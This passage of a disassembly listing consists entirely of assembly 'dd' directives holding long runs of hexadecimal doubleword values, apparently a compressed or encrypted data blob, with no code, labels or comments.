		dd 460BDC76h, 0FFEA838Ah, 0B14B986Ch, 7AFFFC13h, 9566071Eh
		dd 39B7D311h, 7DB531D1h, 0FA2B77Fh, 0BC526A9Bh,	0F054A680h
		dd 27B96655h, 51022328h, 81001999h, 0BD68BEC3h,	4F9513B0h
		dd 0BC0028FEh, 0EF6F762Ah, 38E041BFh, 379705A3h, 3F2EB27Ah
		dd 0CD930066h, 8113048Bh, 4BA309C0h, 0A71A7033h, 2694F5h
		dd 2601F467h, 1A58F081h, 83F6E6EFh, 0D5CA8340h,	33180336h
		dd 0E4548A51h, 0C305C9B8h, 71346460h, 3B4B7D30h, 0A54B8D8Bh
		dd 0B882A013h, 0B0F50144h, 0EAC38336h, 5D4C4160h, 8D29F989h
		dd 61B9C05Dh, 10FA1481h, 0FB4AF798h, 18B171C8h,	0F28E943h
		dd 84F2BE90h, 98A55600h, 88AF316Ah, 19D5028Fh, 0DB8D755Eh
		dd 0F4068780h, 4EDC74E9h, 1354B780h, 7D49A1h, 848AA61h
		dd 1DBEE1Fh, 0A83A5C00h, 0BCAFE07Eh, 57763AD6h,	75DE8600h
		dd 0CD274704h, 0E26AF70Ch, 0D45D09D4h, 4707D321h, 4102EF74h
		dd 9FCF2DA1h, 72C05518h, 4AD2825Bh, 2CFC7Bh, 98DB2B97h
		dd 103DA481h, 0CD4D2300h, 56BEE930h, 63FF02BAh,	0E087CA8Dh
		dd 0E4A92A40h, 0FB0E18C0h, 48A0BC55h, 873723DEh, 25668060h
		dd 0FD030717h, 5B87A2Ah, 91083023h, 172DC721h, 3A26C100h
		dd 0C09244D5h, 74A83FDDh, 67D1098Eh, 607B5BE7h,	8CBF5610h
		dd 0D98639C1h, 0C986BAD2h, 19E009B3h, 2943870Dh, 9091B165h
		dd 172780A4h, 8C1AFD05h, 1C59B44h, 78E9172Fh, 0C1B30A6Ch
		dd 575983E1h, 4693CD1h,	0B4099590h, 0E9890162h,	188C9BC0h
		dd 181086D6h, 4637B9C0h, 0F4A76h, 24EB07DCh, 0B504E005h
		dd 0E2A4B950h, 89363Eh,	447EE3F4h, 872EF5h, 316F1421h
		dd 8B5279CAh, 8CDC276h,	1CC02135h, 98E1056Fh, 0EECD15h
		dd 4A27EB8Ah, 0DD03E582h, 5F3BF343h, 48310E4Ch,	418F3184h
		dd 64081401h, 0C65FC4B0h, 864E5200h, 78CB043Fh,	11721880h
		dd 2A240EDh, 0EE6B18A0h, 0BE49C104h, 59182E26h,	0B5001541h
		dd 2FD76E63h, 60ACE189h, 5B656934h, 6800DFBBh, 9874FAE6h
		dd 515E206h, 8623B8Bh, 237C2F2Fh, 0C0090036h, 0E7069FC4h
		dd 21E8B403h, 33AE57h, 12142579h, 0AF76CB1Dh, 0F3A1F400h
		dd 3B34F02Fh, 0C2EEAA6h, 4F52AE92h, 6E0388C8h, 0A70F4D7Dh
		dd 0D8EFD001h, 7A2B095Ah, 2300743Bh, 0CB5E027Fh, 2F008CE8h
		dd 928E9D8Ah, 0E6A45790h, 9564006Ch, 555D733h, 0FD0B6DB3h
		dd 80FAD240h, 17B2F911h, 8720031h, 1979D87Bh, 43005C7Ah
		dd 0D2E415C3h, 3F04D11Eh, 909F1D84h, 0A88B4791h, 5B104C7Ah
		dd 2E156000h, 84BCB6F4h, 85E66FCh, 0B8002188h, 42251568h
		dd 0FABA5394h, 7DA001Eh, 87DC4FE0h, 60CE4375h, 86F890CAh
		dd 0A0B3058Ch, 0C6603293h, 340059FDh, 437B9221h, 3AC6906Eh
		dd 1060D53Bh, 623A33B8h, 570D4F0Eh, 56C5471Fh, 21CB46h
		dd 8B3A1B99h, 18F4E3D0h, 740368DFh, 1D512A53h, 7E160C0h
		dd 0B1507E32h, 40F8E448h, 56239414h, 0F1E34E40h, 0C8928130h
		dd 66C085D8h, 0E9F43015h, 0BA888718h, 7915026Eh, 0D7D3A854h
		dd 5E80CC80h, 18039E1Dh, 0CBA7F1BDh, 4D1819E7h,	188A6089h
		dd 33150861h, 85C4CEF4h, 1569B543h, 0A7326ED8h,	1B443504h
		dd 4838AD5h, 5F42AC0Bh,	0A08447B3h, 3A2F60CAh, 2D4F2366h
		dd 950BC411h, 7833A17h,	0A7C87CEFh, 0FA1FB86Dh,	9C80814Dh
		dd 121DBA9Fh, 3014605Ch, 1B4A10D8h, 74525500h, 2EB357B9h
		dd 5CD130B6h, 83FB9021h, 0F7E3EF0Ah, 2B41B4EEh,	0F6127416h
		dd 199CC090h, 808D6A3Dh, 1CBC5FB5h, 117A752Ah, 0D6EFDBh
		dd 0C170C739h, 1BAFB4Dh, 0AE77DA2Eh, 708CE24Ah,	10035084h
		dd 17C20801h, 78980160h, 1320D8B5h, 2369801Eh, 94C34780h
		dd 76E4399Ch, 212B09E6h, 47888300h, 0AADA391Eh,	574B000Eh
		dd 95560ABAh, 982A6E5Fh, 530A9871h, 0C050945Eh,	8646E420h
		dd 2F156502h, 0AC336EF4h, 156DB943h, 4A6132E8h,	9C41BB00h
		dd 837371F2h, 2438508Eh, 57981454h, 0E119ECEEh,	188968B1h
		dd 34150862h, 80C4C6F4h, 156AB640h, 0D300D944h,	2C4C6B0Fh
		dd 7AE7EE89h, 0E0C9C03Ah, 0D5EDB1A4h, 617F4D12h, 0BC3E2004h
		dd 32C0C508h, 214F613Ah, 0BF9156F5h, 3A1A9A00h,	7F824145h
		dd 0E36D210Ah, 9641F0ECh, 80C67643h, 39E05DFCh,	75883FABh
		dd 63345307h, 0A738C01Bh, 920C469Eh, 0F943986Ah, 3CA300ADh
		dd 75C1D634h, 80010D3h,	0F58F1F36h, 302B9024h, 5D4068ACh
		dd 0A060C6F0h, 8117658h, 0E5180014h, 4F02F264h,	70506C56h
		dd 2E6013D8h, 21B9E799h, 0EA7F00A5h, 30498DCBh,	7200BB40h
		dd 0F6B07DA8h, 3F18AE9h, 3A5F7EDFh, 0F100C73Bh,	749DA1C3h
		dd 1F3CC0h, 410FB1ECh, 469764FAh, 2A72F500h, 9CBAE3FCh
		dd 0D03B30C2h, 65F8D339h, 0DBBCA00h, 0EB227FD8h, 0A4B70163h
		dd 70DDFC18h, 0B028B102h, 930042F4h, 0F380BDB0h, 0F22F005Ch
		dd 0E6D04DDBh, 7C1E5729h, 0DF408044h, 11E5026Dh, 9F20000Eh
		dd 0D163B135h, 8926E05h, 0F9141330h, 6DBD56h, 0A34236A6h
		dd 897DBC84h, 0CBF80813h, 5700C41Eh, 0EE278F4Ch, 7F10AE4h
		dd 0C8F2AFh, 0B94D04Fh,	0FB07E058h, 4CC86A35h, 48DCEF22h
		dd 17DB14Ch, 0A3985169h, 0E43DF110h, 1201041Ch,	0C290CD3Ah
		dd 884834A7h, 78460057h, 0DDBC284Ah, 7F165563h,	2201127Ch
		dd 2AE1421Eh, 0C098F09Ch, 9D70712Ch, 4C006EC6h,	0F1FEF5B1h
		dd 7E25CFh, 76C9C872h, 9568A7EDh, 0A3F0707Dh, 31E6B10Eh
		dd 0C8C3A323h, 0DDB33Bh, 2484FB10h, 0BBADED29h,	8F60D924h
		dd 0DEA13406h, 8618C020h, 0C9CAE450h, 132DF308h, 80D29E32h
		dd 0FC3E5358h, 98C0F172h, 7870A46Dh, 0CBF30073h, 0C80E9D54h
		dd 0E603C393h, 9841F846h, 66A80E49h, 0DDEC76DFh, 4C0061D1h
		dd 580CCF5Ch, 0DA1FEAh,	0C2A831FBh, 1397B5DEh, 0EDC32000h
		dd 1AAF51CEh, 0F4E7E22h, 4ACA1BBAh, 353EA80h, 3C18F16Fh
		dd 1E91C0FCh, 60EC283Dh, 14F084h, 199509C3h, 16682E03h
		dd 46D01018h, 440F180h,	49F60F7Eh, 373783F0h, 0EB91C0F3h
		dd 2C58809Eh, 3D58D34Eh, 81E8A6h, 7514B452h, 3F0727A5h
		dd 63CBF900h, 5E2270F4h, 865900A3h, 0ACFA5FFEh,	530EBEDFh
		dd 8CBFA7A5h, 672171h, 0D9C408B6h, 8ACC1E6Ch, 0E6456200h
		dd 4E9FECF8h, 0E97920h,	0E83392F3h, 487AA93Bh, 80AB533Eh
		dd 682B4DA6h, 0C2D04A3h, 8B985DE1h, 92005940h, 939E137Ch
		dd 0C04E5B23h, 40A0E891h, 20004CC1h, 0D11A3DEFh, 15A4568h
		dd 0CDFBBA32h, 81E8DCD8h, 622F5E20h, 204FB2B6h,	81D44B11h
		dd 0B5C0A9ADh, 11CA0800h, 0C7F7F201h, 0F963CC18h, 7EB98C58h
		dd 0B7AC1008h, 6379C4BFh, 8B16403h, 0F0FCD891h,	1A009039h
		dd 8CE18E30h, 265950h, 4756F75Eh, 95E323CAh, 80929800h
		dd 887AEFC7h, 1F69C02Eh, 9E6671C1h, 31297807h, 1BA36D22h
		dd 0E620052Bh, 105210F0h, 0AC08A0B4h, 2F036122h, 3C4FF1E2h
		dd 0B00C3168h, 0C3799F8Bh, 0FDEAF900h, 6781FCD1h, 828D3A22h
		dd 8531B530h, 0BE39EBA3h, 0E04CBA03h, 5C4ECB39h, 1BD0A17Ch
		dd 5A3C5E0h, 0EDF0934Fh, 0C6E400AFh, 451499D3h,	0A1985353h
		dd 170C5E71h, 4ED45706h, 0E687D18h, 0A309355Ah,	2860BC3Eh
		dd 0DFDBE26h, 2EECB801h
		dd 0DEE322ADh, 2177F898h, 0D00F5A8h, 0E6256A0Ah, 0EC62E817h
		dd 0C3344A2h, 28A49FE8h, 0BC0E010Eh, 798871ECh,	0DF9A480h
		dd 6369CCh, 961EEAF3h, 4E405554h, 22F8B860h, 7B05B7C1h
		dd 0E7760ACAh, 0A458DAh, 0E8C9DB61h, 0A405F314h, 244F9F1Bh
		dd 8164E008h, 0ABB12607h, 530BC4Eh, 0F82263B9h,	9FC76780h
		dd 86166D0h, 8E0021B7h,	454822BBh, 0E8100185h, 0A25A000Dh
		dd 2508320Ah, 3F065DD0h, 0BBA16A03h, 448B2AC1h,	0E28F00FCh
		dd 21FBBCA9h, 49321BA6h, 21DFB071h, 0ADB27E23h,	704106C8h
		dd 9CD75348h, 0FB0EA923h, 0DEEC620Dh, 9E0016ACh, 7A180E13h
		dd 3665045h, 4D40D3C8h,	200548F6h, 23CC35E9h, 0D94EF407h
		dd 20F7E707h, 2550A310h, 465C90A8h, 0EAF802B7h,	31D4D1FEh
		dd 0A28410CEh, 34277EBh, 19DFA0ECh, 0B87C2053h,	0DFC048Ch
		dd 8E16ECBFh, 0F4A50320h, 0A0CF4A0Dh, 9ADCF0E5h, 0C0FD6108h
		dd 42925E1Ch, 8833B7DCh, 46E7FE22h, 7BC22C9h, 1C22B194h
		dd 0FB7CF064h, 0F600D5E1h, 23A12D7Ah, 0FD30D3D4h, 724D808Ch
		dd 9C000789h, 8A472D69h, 1705AA6Bh, 5F9B3Ch, 0C67B933h
		dd 0C03CA344h, 0A560805Ch, 249C25DBh, 0D2CC2464h, 0E41140ACh
		dd 0C000531Ah, 2ED6FCA0h, 0CE5074E2h, 7023EA98h, 200B4871h
		dd 334DAE4h, 649D1EC9h,	60AEE8B9h, 23FB22BEh, 631161E7h
		dd 22B69900h, 0E315CCBBh, 4E4F1A19h, 0E610C550h, 0B09974A8h
		dd 634034AAh, 25AE8879h, 34351602h, 0A2A58802h,	20654E8Ch
		dd 0A083E443h, 2C4A8B2Ch, 81023C09h, 0DBA26348h, 0FCF06066h
		dd 0C505F0C4h, 456594D4h, 0B6237C2Eh, 9BA50901h, 52BB7B21h
		dd 9C160303h, 780167CFh, 0F907B391h, 6C3002C9h,	0D41E0354h
		dd 231F6EE5h, 0F02C4956h, 0FE32BB3h, 0A596B86Fh, 0A69B2300h
		dd 0ACA1ABDBh, 0B8001418h, 23030421h, 1611EA01h, 52BFD2D4h
		dd 0F5D80858h, 0FB5FFDC0h, 221746ACh, 0B5600372h, 6DDCE608h
		dd 1E7313C8h, 902863Ah,	8226D0A5h, 0C09E4C30h, 84593C44h
		dd 0FA1CB146h, 4D204EAh, 2CE88B82h, 190044DEh, 80F1ACE5h
		dd 301C90BEh, 3941468Bh, 23000232h, 0E0CADA33h,	4D74921Fh
		dd 0EE1084A6h, 1BCB2245h, 982AC808h, 0E72EF1E0h, 3069B76Ch
		dd 5BFF26EEh, 5A4884D4h, 675C8280h, 0C81182Ch, 0D64CF825h
		dd 71B0C951h, 98552E17h, 0F29C2C04h, 0D40360C0h, 8CEE0B40h
		dd 0C01F58F0h, 0E80C111h, 80D02E58h, 0DDEFFD0Ch, 0A6D7964h
		dd 8CB55B5Ch, 7D4F94h, 5693DE8Ah, 0A400FECDh, 579B3673h
		dd 11A3FE7h, 0D93C3DA0h, 61824CCAh, 0FA30E6A8h,	0ECBD110Dh
		dd 0B9758886h, 800E129Ch, 0A8D4555Ah, 962CE720h, 0EB00F82Eh
		dd 534B9EBCh, 0EC21FDEh, 1E6242F3h, 0EC60789Ch,	2400EFC6h
		dd 66554FB2h, 0AB1193h,	91A89F26h, 0AE444D95h, 0A940A060h
		dd 0DD9A14F0h, 0AB294058h, 17E458Ch, 0B5A0BB50h, 0EAF6028Ch
		dd 82A4CABCh, 0E28060E5h, 0F123EB9Fh, 0EF2D0B9Eh, 0D402B7EDh
		dd 48431950h, 30CB3484h, 1DC0B688h, 2D6197Fh, 0D42F0CE5h
		dd 0C4E19036h, 0EF606438h, 69085514h, 2A711280h, 0BB709847h
		dd 4F978870h, 26097E29h, 7601714h, 3C41022Bh, 0E8185529h
		dd 9CB0C751h, 0EAEA73h,	0FF4C1AA1h, 0E966A096h,	0A9C80607h
		dd 40B9BB28h, 94B43B0h,	21745DE2h, 6C910040h, 261BC83Dh
		dd 260EF0C2h, 0BB9FA112h, 70B962EAh, 0E810ADC0h, 0C60051E1h
		dd 4655803Bh, 32011F53h, 20ABA0F8h, 2083ADE2h, 0B376FDA3h
		dd 209C40E2h, 0F48CE776h, 945514ECh, 6A00888Fh,	50299CDFh
		dd 0F334D0D1h, 0CC1C14Dh, 300EAB8h, 8024EC4Eh, 2F050CA4h
		dd 0D047A2F0h, 0C306EBCAh, 215890D0h, 0BC817112h, 0AFACF808h
		dd 63407C18h, 8B40065h,	0D884FBBBh, 0C7188F2h, 79C0D418h
		dd 9910CE50h, 1971F184h, 9C60A621h, 18340075h, 7917C658h
		dd 0A10B12A2h, 0B4EA314h, 89C2074h, 0F0154061h,	86B02855h
		dd 0DDF3098Ch, 44802225h, 8AB19BC8h, 0BC355E0Dh, 0C302077h
		dd 22EE8CB8h, 91E7FD11h, 932CE29Ch, 0BE0004B0h,	0E86E063Dh
		dd 475035F8h, 5A888088h, 0C04848F0h, 11868020h,	0F44058DDh
		dd 0BC0300F1h, 53D31B76h, 9B00AC19h, 9F54868Ah,	8BFD94h
		dd 720985DFh, 0B49C5258h, 18819B03h, 0A65715BBh, 0D4CF5830h
		dd 0ADD41A0Fh, 995BA000h, 0EF6EDD6Ch, 0F0884720h, 10F39CCh
		dd 0AF1C740Eh, 0C090A09Dh, 436070B3h, 0C673C221h, 1A15008Ch
		dd 0AF76D838h, 0F93CEF3Dh, 74179EA4h, 0EAC12FC0h, 30C87585h
		dd 0D818AE18h, 92F8D0CDh, 53615D10h, 9B527106h,	0FA0779AAh
		dd 0B41CD264h, 0B661E4E1h, 3071A89Dh, 0F8C9AB21h, 2B4FBC00h
		dd 0FF79D25h, 83CC3E1Ch, 0D197EA0Eh, 68704340h,	9A0051B0h
		dd 23E9C3A1h, 0DC94A6h,	8244ABC0h, 0FFB529FAh, 0AF68BB00h
		dd 530B3618h, 53E002Ah,	0EFEA240Ch, 7A002340h, 4EEB50A9h
		dd 0E6F05179h, 1687E9Eh, 0DC273EBBh, 0D456C37Ch, 0D803DE16h
		dd 372E7873h, 0C41801D3h, 49F5E171h, 1E89F0F2h,	0CB22720Fh
		dd 36FC0146h, 2893E98Bh, 0D2FE0D51h, 0A523FC61h, 0C1383Dh
		dd 0DC3EFB40h, 0BE722Dh, 0D6ABF061h, 627BF49Ah,	79EF591Ch
		dd 0FAF23F40h, 0CF2CEC3Eh, 95008A29h, 97C0706h,	0A0F05166h
		dd 3C740A78h, 216873A1h, 4DA78C1Ch, 93D3919h, 0BA8F831Bh
		dd 21E9F248h, 7903AB98h, 6D1E74Eh, 7BB2C6C0h, 5C852045h
		dd 5C406644h, 590A558Ch, 48EC3D00h, 394D06CBh, 20F360BFh
		dd 0F9313051h, 28EF1003h, 0E0EED33Dh, 71C67D7Ch, 0A79F18F6h
		dd 8F4CB115h, 0F9D7C500h, 898C8067h, 658740Bh, 4F510BFh
		dd 0A730287Ah, 6080317Eh, 8B743E61h, 8D889A06h,	0E500187Ch
		dd 311789C0h, 18B04501h, 0B0E23D2Ah, 0AD3FC57Ch, 167106D9h
		dd 18907FB7h, 0E9D636FAh, 280089C4h, 0C1F29FFFh, 0D17DAEh
		dd 0ADDAA8A1h, 880BF50h, 4C816A03h, 0F50223C8h,	0F379B018h
		dd 0A134F02Eh, 0A0C01B24h, 8C1401F2h, 487CA64Ch, 6CC9F3E0h
		dd 0AEC408Dh, 0BA008BF5h, 0F715359Dh, 0A0CF0346h, 14EF3FC8h
		dd 98CD61EBh, 19B10171h, 231F1BBDh, 32D0D41Eh, 0C49D08CAh
		dd 6F41638Fh, 628AC2F9h, 0B014409Fh, 0D543373Eh, 10133550h
		dd 9CB82CA0h, 0BABE008Ch, 4271F527h, 8401C68Ch,	0C07A1E22h
		dd 0F450F0A3h, 332EF73Eh, 6B70CE7Fh, 94FECBE0h,	48001890h
		dd 0BF25A213h, 49F709A3h, 0DD5894C3h, 48104619h, 0B23020F9h
		dd 3E47E780h, 29615240h, 0ECB459D9h, 0D30C9442h, 893FA7Dh
		dd 0B921C0CEh, 690CB460h, 80A4C568h, 0D848DB80h, 187C7A24h
		dd 681E5233h, 6800B985h, 77E5B5BCh, 0A5AA8Fh, 512CF5C1h
		dd 0CDCEA29h, 20A42800h, 6149FAF3h, 8C9203B3h, 9CE67C18h
		dd 0AD377B8h, 63839400h, 0EF6C32ACh, 0F7C500B6h, 0EA16A984h
		dd 0BF00C2B4h, 9E474B46h, 14A43ABh, 1D7D2AAEh, 0E47C109Dh
		dd 0FC00541Eh, 3A1C8337h, 0DBFFECh, 0A564B562h,	0B602545h
		dd 0D558471Dh, 0E301E240h, 1E45D15h, 379468Dh, 0E8A3B871h
		dd 443C4CCAh, 5D0A8924h, 78CE8081h, 154874Ah, 0DE933F8Eh
		dd 80E9AEC7h, 581A2A18h, 80D21B95h, 0D14217AFh,	0E2FAD51Dh
		dd 9B584B43h, 862F0C40h, 0E3302143h, 0A1655261h, 10750E40h
		dd 1DDD5117h, 32D8F3CDh, 766243A0h, 0B3B42CD2h,	55213081h
		dd 6633E9FEh, 0E2C50C9h, 709C5469h, 0DFEC3998h,	0B280DD07h
		dd 0E183047Ch, 0C090C3E0h, 187D57EAh, 51025116h, 53F082E5h
		dd 87080F50h, 0D74452F0h
		dd 3B785Dh, 8DF9D22Bh, 3977A1CEh, 60C9E060h, 0C5DCDD85h
		dd 401530E0h, 7BF267ACh, 9D0C333Bh, 182B7AAAh, 0C62E014Ch
		dd 59ED260h, 4561800Dh,	51AF6642h, 0ACD9006Eh, 0F0136DD3h
		dd 8803A931h, 0FF8ABF01h, 0B11A8839h, 0AEAB09Fh, 141D8DAAh
		dd 0C7A80C94h, 0A3001361h, 0D1F6C03h, 0E7C4C2h,	0CF28F76Ah
		dd 0CCF40637h, 269329C0h, 51501Eh, 0EF874359h, 0E3C9FBABh
		dd 8E5F021Dh, 0AA60F6C0h, 60A0BA12h, 5044A808h,	0E8C0F7A1h
		dd 0A7BF7F0Eh, 6E6701A8h, 0AF40F586h, 6336D019h, 2B179203h
		dd 60795ADEh, 0F7EFB871h, 0A601AAA5h, 500BDC5Bh, 4B11CBA9h
		dd 1FE6C461h, 882FA80Fh, 3027A3ADh, 1ABDF0FAh, 0DB9B001Dh
		dd 0C9E07F5Bh, 0CF0FE28Ch, 640FBA68h, 98858569h, 97122400h
		dd 5440D1CDh, 0A5C41Ch,	1B605D8Bh, 0D9FF7198h, 856D690Ch
		dd 4FB3016h, 0F9D1D443h, 52B84721h, 0C3935B0h, 0A8D0ABE3h
		dd 67F1706h, 5416E6CFh,	550019D8h, 0DE3A2129h, 58527Ah
		dd 0D46777AEh, 453D61C0h, 76542F00h, 0EA913E27h, 121D004Dh
		dd 0CF8ED7A8h, 0E174FC17h, 14FDA900h, 6F1CE8E9h, 1940C43h
		dd 490813B0h, 0E41221C0h, 0A1C5E8h, 2BA07F3Ch, 5D39DEB9h
		dd 0C654E91Ch, 0B5EB5500h, 3A7CE15h, 47DF377Bh,	40003502h
		dd 178E57DDh, 18AE205Bh, 81384ACh, 20CF2FECh, 0D98D823Dh
		dd 94AD80B6h, 0D2FD1Bh,	0A57356E6h, 0F80CD782h,	0E57A7F7Bh
		dd 3400AE7Fh, 70C0A8CFh, 3D7A9B4h, 40F54ADh, 21C6D132h
		dd 83288B78h, 9000877h,	26E9A11Fh, 1DD33388h, 184C1828h
		dd 27672161h, 220A100h,	0C06884DAh, 6F9D072Ch, 0C7A2FE4Fh
		dd 0F5D3D009h, 875287Fh, 1BAF59C0h, 985854C1h, 50EC0391h
		dd 0A6EBE174h, 33142100h, 620459C1h, 6C5F005Ah,	8AE6B856h
		dd 0BE7E7679h, 35490D07h, 0E0B35B21h, 27B810D1h, 0A12BC072h
		dd 432826E5h, 5A224Ch, 0CEA11343h, 8906185h, 801B5D3Ah
		dd 8A257C4Fh, 28677ECFh, 94AECCh, 8108F69h, 92D3A58Eh
		dd 0E16E2F00h, 6733BD5Eh, 0C97E001Ch, 0B6CC326Dh, 0A800DF6Ch
		dd 0E3D4D186h, 615F28h,	79D2134Ch, 3715A44Ah, 55BD1200h
		dd 3B5B1B80h, 347142h, 2732AAB9h, 0B12A9CD0h, 2F16531Fh
		dd 2944BEC3h, 92180D3Ch, 0E020BB36h, 4130A037h,	0ABD53122h
		dd 0E40201A8h, 25FD7891h, 0F3D7C821h, 62860800h, 0B98EB76Bh
		dd 38180132h, 0FACAA4E3h, 0D116ECF2h, 4CD2C500h, 0DCCD1349h
		dd 14C45320h, 79E1CEC0h, 12003AE0h, 0AAC071C2h,	318339CCh
		dd 8AA97647h, 0A081FCBEh, 0AAA38D07h, 8CBE75A9h, 0B52127h
		dd 0C5BF12C6h, 0A9CCABE9h, 71FF3F00h, 0FE33AE93h, 72325C75h
		dd 0B911670Ch, 8303B0F1h, 6340BD35h, 6B4FA956h,	9DE8088Ch
		dd 5B007D20h, 0FC690632h, 4F3981h, 5A5DD1E5h, 73B637A6h
		dd 327BC106h, 0C830AF38h, 81C76560h, 0B340C3F1h, 9E40B218h
		dd 3B590093h, 97487FC0h, 0CD06BF06h, 9476FD20h,	0EAE30058h
		dd 9DB86AEFh, 0CCA83970h, 0A06F3A2Fh, 7910040h,	0B06FB4E4h
		dd 0A1F8802Fh, 76ECF9A6h, 0FB50532h, 48B88858h,	0C4C0A9A8h
		dd 21A05712h, 25919DBDh, 12CCBB00h, 0F3ABEB8Ch,	0DF2AC700h
		dd 3C558A42h, 0E92500BEh, 8C261411h, 340F7B8Eh,	1D908876h
		dd 0AB1A3840h, 0AE0A9Dh, 3B7ADAF7h, 0C5537003h,	3DD15C00h
		dd 42B2E398h, 64FE053Eh, 3FFCE20Fh, 0DA04B004h,	0FD8430EBh
		dd 0DD20A711h, 0BCFCE100h, 6B052FFAh, 0FEC3FA48h, 0CF3A0013h
		dd 0A88BE75Eh, 0BF620DC5h, 241C8D28h, 50FD214Bh, 0C2109112h
		dd 0DAD7891Dh, 22836722h, 0F121110Dh, 0D30204C7h, 40299A10h
		dd 2284F9E2h, 9F20FBF0h, 0A3B472BDh, 5583E8E6h,	9E8A0064h
		dd 705FF6A5h, 9F00376Eh, 14732BAFh, 887EAh, 0BF4CC0E5h
		dd 8259BEF7h, 18894E07h, 19B09348h, 0D9CE7Ch, 698163E0h
		dd 1C96F191h, 0F8019075h, 85ABF4B5h, 0CCF04110h, 3C2300FCh
		dd 210DB06Bh, 0AF010432h, 0F8792F34h, 2AF00CC9h, 558C0033h
		dd 52BFD589h, 0D4002286h, 63202375h, 33CF2A9h, 3EA77DDBh
		dd 0FB90122Ah, 6590E8D0h, 618E891Dh, 7705B542h,	0AEE0A729h
		dd 0EB602C80h, 9F810096h, 0A7387DB7h, 1B70F7C7h, 1308301h
		dd 4B0C2BD9h, 60EB0D8h,	7A2E39DFh, 0ECEE104Ah, 0FCABE601h
		dd 1FF3E89Ch, 537F20h, 9598E368h, 46D30D03h, 90621B00h
		dd 97F9286Fh, 189449BCh, 84B4B815h, 848AB000h, 0E94DDF5Fh
		dd 0B7F3Dh, 87F3979Fh, 38AAC1DBh, 76072ADCh, 0E01E05F6h
		dd 0DF2BF10Eh, 1C2F9B04h, 23C0CB71h, 404578h, 5A56B72Eh
		dd 0E706E3C0h, 0D6004476h, 0A9B942D2h, 1887BBBh, 53ECD4F5h
		dd 0C0A335B7h, 7300F091h, 0E32E7469h, 0FA9730E2h, 54EAE7h
		dd 0B57ED605h, 437FCCCBh, 0B7FE1AF2h, 47794100h, 4D1BD229h
		dd 2E9E3A45h, 304CC100h, 6A2CE3DCh, 26D3B201h, 9483FC56h
		dd 1E74E8h, 57590264h, 0B3AF61Dh, 0F0AFD72Ah, 80546B3Bh
		dd 0D3124CE5h, 7DFAC0C3h, 4A0F1C25h, 0CC17C0F0h, 74C9EC44h
		dd 0CEE27700h, 665F627Eh, 0B730054h, 0E4824F3Ah, 0F914B19Eh
		dd 0B4F19Ah, 7340610h, 0A9E944h, 6C435640h, 8B5B9C5Ah
		dd 9A029300h, 0BF49D07Fh, 192400A1h, 0D23BC71Eh, 0A60EB7EBh
		dd 47169474h, 0D0404FDEh, 90E1C85Bh, 8F6D016Ch,	0A231F4D7h
		dd 0F1DFDCF8h, 900C5F8h, 0E91B0E0Ch, 24DE17h, 0DA9E6857h
		dd 52D6DC08h, 0AEB26B0Fh, 4ED003Ah, 0C94DE6h, 0DD73F32Dh
		dd 9A3DE211h, 0E8CAAB1Eh, 0A06C3100h, 1970AC7h,	0AD7F4770h
		dd 24FC462Eh, 8220E128h, 0B68B22FEh, 8040103Ah,	43941CE2h
		dd 0EC90E736h, 7D1D01FBh, 0D912F9ECh, 1ACFD426h, 0B35CAF0Fh
		dd 6C942005h, 3F249Fh, 7C61254Ah, 846E3C91h, 80CCB23Dh
		dd 15A96F7Eh, 0F99DBAh,	35E0830Ch, 10221D01h, 1ED3595Ch
		dd 5E80EFC5h, 0A6600B3Bh, 0FC7A3Fh, 981774BCh, 58D25F80h
		dd 0EE302300h, 401B8BF9h, 0A078793Eh, 100D27DCh, 0F0CF71h
		dd 5E8D6A8Ch, 4E4BC7h, 9F7709FCh, 58C5B82Eh, 0F5F76F01h
		dd 0E3B40C42h, 0F6C0F0h, 165764C9h, 0A74A8387h,	0B0113101h
		dd 0B410F4ABh, 0DC171571h, 8BB674B0h, 83650232h, 458CB25Ch
		dd 4209480h, 56002FD2h,	258FD58Eh, 5F27A4h, 0C7C12D9Eh
		dd 95DC2458h, 43A73900h, 0BD0B5B5Ah, 767E0382h,	0C06B4974h
		dd 70D538E9h, 34007830h, 4A5C22Dh, 8D7BBCh, 7A6B8BCCh
		dd 27CB9456h, 46D9BA07h, 0EC67D8EEh, 0DD860D60h, 140207EDh
		dd 60457924h, 0F27D1BFDh, 23776C00h, 2709ACC0h,	6FE31366h
		dd 8F070047h, 0F8CD1BA4h, 86889713h, 561C3040h,	1D0DEC5h
		dd 0E901EB93h, 0C458A981h, 0E7581DE1h, 5B040054h, 0FA2FEE02h
		dd 79C600E0h, 0B7B9912Eh, 7400D897h, 19284B23h,	1E1DAEh
		dd 63E7C41Fh, 2F4D6A2Eh, 8982390Fh, 0AD366079h,	70937D30h
		dd 97A7003Eh, 0A90359C5h, 0E0005CE7h, 71815608h, 0E284A6h
		dd 0B62FAF75h, 0F8FE576Bh, 0BD4B8301h, 248923F6h, 1984C0h
		dd 0E8C0F0FBh, 5D866FFh, 127E4F00h, 571C9B2Eh, 0F5F056h
		dd 0E38AA60Dh, 99245AA2h, 7D01F970h, 2DF3E764h,	0F71B91h
		dd 0FDA41F50h, 63139D42h, 5F5B7402h, 0E0C01EF9h, 7888762h
		dd 922936D9h, 6000FEB9h, 0E8A09F28h, 9389D603h,	985150CEh
		dd 1C6F2h, 0EC62A157h, 0E51B13F8h, 97299800h, 0A4B78C9Bh
		dd 0F5270091h, 117D4B6Eh, 0B0C0FF13h, 0CB90A181h, 91ED03ADh
		dd 0F3187FBDh, 0E3C5C7C8h
		dd 3029AE01h, 69B8E9BBh, 724B59F4h, 0EBEE66h, 71921FD8h
		dd 2CEF46B9h, 571DB300h, 35C2E141h, 0CA2500AEh,	0AA47EF0h
		dd 980021E7h, 3384D48Dh, 75E7154h, 0AE8575D2h, 0C0FF67ACh
		dd 0EFB3FC58h, 958BF400h, 285619D0h, 292F81Dh, 0D1C883F5h
		dd 0FCC19FE1h, 5741D27Bh, 6861D83Bh, 33BA0C0Bh,	40A00EF0h
		dd 3975574Dh, 0E9430086h, 0A14B8E7Bh, 0EF0773AEh, 0B8CA47C3h
		dd 8C346A10h, 0DA191D16h, 33584031h, 7936CEFh, 0CDAEB501h
		dd 8A7ABA8Fh, 41078C8h,	2FA127B0h, 0CEA88075h, 60075AC0h
		dd 0A26A873Dh, 5C80E8D4h, 3F3468h, 9AA52879h, 0D660EF36h
		dd 1FA1F700h, 0E461B6C6h, 4CDF2858h, 0F7A8Eh, 0B84EE254h
		dd 71A8168Fh, 0E704A90Eh, 236F40D3h, 97A2Fh, 0D0C14772h
		dd 45F8756Eh, 0B0500C00h, 4EF699CDh, 0ABB5003Eh, 0A169F3CEh
